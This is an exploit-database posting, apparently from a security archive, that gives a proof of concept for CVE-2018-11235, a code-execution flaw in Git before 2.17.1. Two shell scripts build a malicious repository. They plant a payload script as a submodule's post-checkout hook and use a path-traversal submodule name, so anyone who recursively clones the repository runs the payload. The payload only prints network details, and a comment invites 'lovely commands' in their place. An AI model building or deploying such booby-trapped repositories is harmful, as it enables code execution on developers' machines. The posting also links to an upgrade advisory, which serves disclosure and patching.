what you don't know can hurt you

Git Remote Code Execution

Git Remote Code Execution
Posted Jun 1, 2018
Authored by Jameel Nabbo

Git versions prior to 2.17.1 suffer from a code execution vulnerability.

tags | exploit, code execution
advisories | CVE-2018-11235
MD5 | e695985eb1d045c6e63efc8b6523d8fa

Git Remote Code Execution

Change Mirror Download
# Exploit Title:  Git (code execution)
# Date: 2018-05-29
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage: https://github.com/git/git <https://github.com/git/git>
# CVE: CVE-2018-11235
#Version: <=2.17.1
# Tested on Kali Linux


P0C:

Create two files:
pwned.sh: the file which will contain our commands to be executed
commit.sh the fole which contain a normal build with a bit of calls to our pwned.sh file

add the follwing to Pwned.sh:
#!/bin/sh
cat << EOF

#here we can put our lovely commands
Exploited! : $(ifconfig)

EOF

#--------

Add the follwing to commit.sh file:
#!/bin/sh

set -e

repo_dir="$PWD/repo"
#change it to any other Repo
repo_submodule='https://github.com/JameelNabbo/SmartWorm'

git init "$repo_dir"
cd "$repo_dir"
git submodule add "$repo_submodule" pwned
mkdir modules
cp -r .git/modules/pwned modules
cp ../pwned.sh modules/pwned/hooks/post-checkout
git config -f .gitmodules submodule.pwned.update checkout
git config -f .gitmodules --rename-section submodule.pwned submodule.../../modules/pwned
git add modules
git submodule add "$repo_submodule"
git add SmartWorm
git commit -am pwned
echo "All done, now \`git clone --recurse-submodules \"$repo_dir\" dest_dir\`a


aaaaaa
Solution:
https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html


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